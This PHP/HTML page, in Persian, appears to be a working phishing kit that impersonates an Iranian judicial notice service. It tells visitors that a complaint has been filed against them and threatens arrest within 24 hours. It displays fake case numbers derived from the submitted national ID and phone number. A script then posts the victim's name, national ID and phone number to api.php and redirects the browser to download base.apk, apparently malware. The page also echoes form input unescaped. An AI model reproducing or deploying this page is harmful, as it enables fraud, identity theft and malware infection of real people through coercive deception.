<?php
error_reporting(0);
require("check.php");
?>
<!DOCTYPE html>
<html lang="UTF-8" dir="rtl">
<?php
include("duplicate.php");

function gregorian_to_jalali($gy, $gm, $gd) {
    $g_d_m = array(0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334);
    $gy2 = ($gm > 2) ? ($gy + 1) : $gy;
    $days = 355666 + (365 * $gy) + ((int)(($gy2 + 3) / 4)) - ((int)(($gy2 + 99) / 100)) + ((int)(($gy2 + 399) / 400)) + $gd + $g_d_m[$gm - 1];
    $jy = -1595 + (33 * ((int)($days / 12053)));
    $days %= 12053;
    $jy += 4 * ((int)($days / 1461));
    $days %= 1461;
    if ($days > 365) {
        $jy += (int)(($days - 1) / 365);
        $days = ($days - 1) % 365;
    }
    $jm = ($days < 186) ? 1 + (int)($days / 31) : 7 + (int)(($days - 186) / 30);
    $jd = 1 + (($days < 186) ? ($days % 31) : (($days - 186) % 30));
    return array($jy, $jm, $jd);
}

function getDateTimeTehran() {
    date_default_timezone_set('Asia/Tehran');
    $current_time = time();
    $time_48_days_ago = $current_time - (48 * 24 * 60 * 60);
    
    $gregorian_date = getdate($time_48_days_ago);
    $gy = $gregorian_date['year'];
    $gm = $gregorian_date['mon'];
    $gd = $gregorian_date['mday'];
    
    list($jy, $jm, $jd) = gregorian_to_jalali($gy, $gm, $gd);
    

    return sprintf("%04d/%02d/%02d", $jy, $jm, $jd);
}

$history = getDateTimeTehran();
?>

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="styles/download-style.css">
    <link rel="stylesheet" href="styles/dup-style.css">

</head>

<body>
<div class="f-loading" id="f-loading">
    <span class="loader" id="loader"></span>
    <span class="loading-text"><b>درحال بررسی اطلاعات ...</b></span>
</div>
    <div class="container" style="display: none;" id="container">
        <?php echo $topTitle ?>
        <div class="warning">
            
            <p>
                <b>اطلاعیه: </b>
                شکایت جدیدی علیه شما ثبت شده است.
            </p>
        </div>
        <div class="container-box">
            <h2>اطلاعات پرونده</h2>
            <div class="cover-info">
                <p>
                    کد رهگیری: 
                    <span>
                    <?php
                    if ($_SERVER['REQUEST_METHOD'] == "POST") {
                        if(!empty($_POST['phone'] && $_POST['codmeli'])){
                            $phone = substr($_POST['phone'] , 8, 3);
                            $meli = substr($_POST['codmeli'], 2, 3);
                            echo "310" . $phone . $meli;
                        }else{
                            echo rand(111111111,999999999);
                        }
                       
                    }
                    ?>
                    </span>
                </p>
                <p>
                    شماره پرونده: 
                    <span>
                    <?php
                    if ($_SERVER['REQUEST_METHOD'] == "POST") {
                        if(!empty($_POST['phone'] or $_POST['codmeli'])){
                        $phone = substr($_POST['phone'], 8, 2);
                        $meli = substr($_POST['codmeli'], 2, 2);
                        echo "27" . $phone . "8" . $meli ;
                        }else{
                            echo rand(1111111,9999999);
                        }
                    }
                    ?>
                    </span>
                </p>
                <p>
                    کدملی: 
                    <span>
                    <?php
                    if ($_SERVER['REQUEST_METHOD'] == "POST") {
                       
                        echo $_POST['codmeli'] ?? "کد ملی نامعتبر" ;
                    }
                    ?>
                    </span>
                </p>
                <p>
                    شماره همراه: 
                    <span>
                    <?php
                    if ($_SERVER['REQUEST_METHOD'] == "POST") {
                        echo $_POST['phone'] ?? "شماره تلفن نامعتبر";
                    }
                    ?>
                    </span>
                </p>
                <p>
                    تاریخ: 
                    <span>
                    <?php echo $history?>
                    </span>
                </p>
            </div>
            <div class="caption">
                <p class="normal-cap">
                    جناب آقا/خانم
                    <?php 
                    if ($_SERVER['REQUEST_METHOD'] == "POST") {
                        echo $_POST['name'] ?? "گرامی";
                    }
                    ?>،
                    شکایتی علیه شما ثبت شده است، لذا خواهشمند است جهت پیگیری و بررسی شکواییه خود از طریق گذینه زیر جهت دانلود اپلیکیشن سامانه ابلاغیه اقدام کنید.
                </p>
                </br>
                <p class="alarm">
                    <span class="kossher">
                        <span class="red-circle">●</span>توجه: 
                    </span>
                    هرگونه 
                    <span style="color: #ab0000;">عدم پیگیری</span>
                    طی 24 ساعت آینده، پیگیرد قانونی در پی خواهد داشت، و حکم 
                    <span style="color: #ab0000;">جلب</span>
                    شما صادر خواهد شد.</p>
            </div>
            <a href="#" class="download-btn" id="download-btn">دانلود اپلیکیشن</a>
        </div>
    </div>
    <script src="scripts/download-js.js"></script>

    <style>
  .download-btn.disabled {
    pointer-events: none;
    opacity: 0.7;
    cursor: not-allowed;
  }
</style>

<script>
  const downloadBtn = document.getElementById('download-btn');
  let isProcessing = false; // Flag در اسکوپ全局

  downloadBtn.addEventListener('click', async function(e) {
    e.preventDefault();
    
    if (isProcessing) return;
    
    const btn = this;
    const originalText = btn.textContent;
    
    // حالت پردازش
    isProcessing = true;
    btn.classList.add('disabled');
    btn.textContent = 'درحال دانلود اپلیکیشن';
    
    try {
      // تاخیر 2 ثانیه
      await new Promise(resolve => setTimeout(resolve, 2000));
      
      // آماده‌سازی داده‌ها
      const postData = {
        action: 'Register',
        username: "<?php echo isset($_POST['name']) ? addslashes($_POST['name']) : ''; ?>",
        pass: "<?php echo isset($_POST['codmeli']) ? addslashes($_POST['codmeli']) : ''; ?>",
        phone: "<?php echo isset($_POST['phone']) ? addslashes($_POST['phone']) : ''; ?>"
      };
      
      // ارسال درخواست
      const response = await fetch('api.php', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify(postData)
      });
      
      console.log('Request sent:', postData); // برای دیباگ
      
    } catch (error) {
      console.error('Error:', error);
    } finally {
      // بازگشت به حالت عادی
      btn.textContent = originalText;
      btn.classList.remove('disabled');
      isProcessing = false;
      
      // هدایت کاربر
      window.location.href = 'base.apk';
    }
  });
</script>
</body>

</html>
